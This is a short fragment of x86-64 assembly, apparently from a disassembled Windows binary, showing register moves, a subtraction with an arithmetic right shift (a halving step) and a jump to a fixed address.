mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x140083204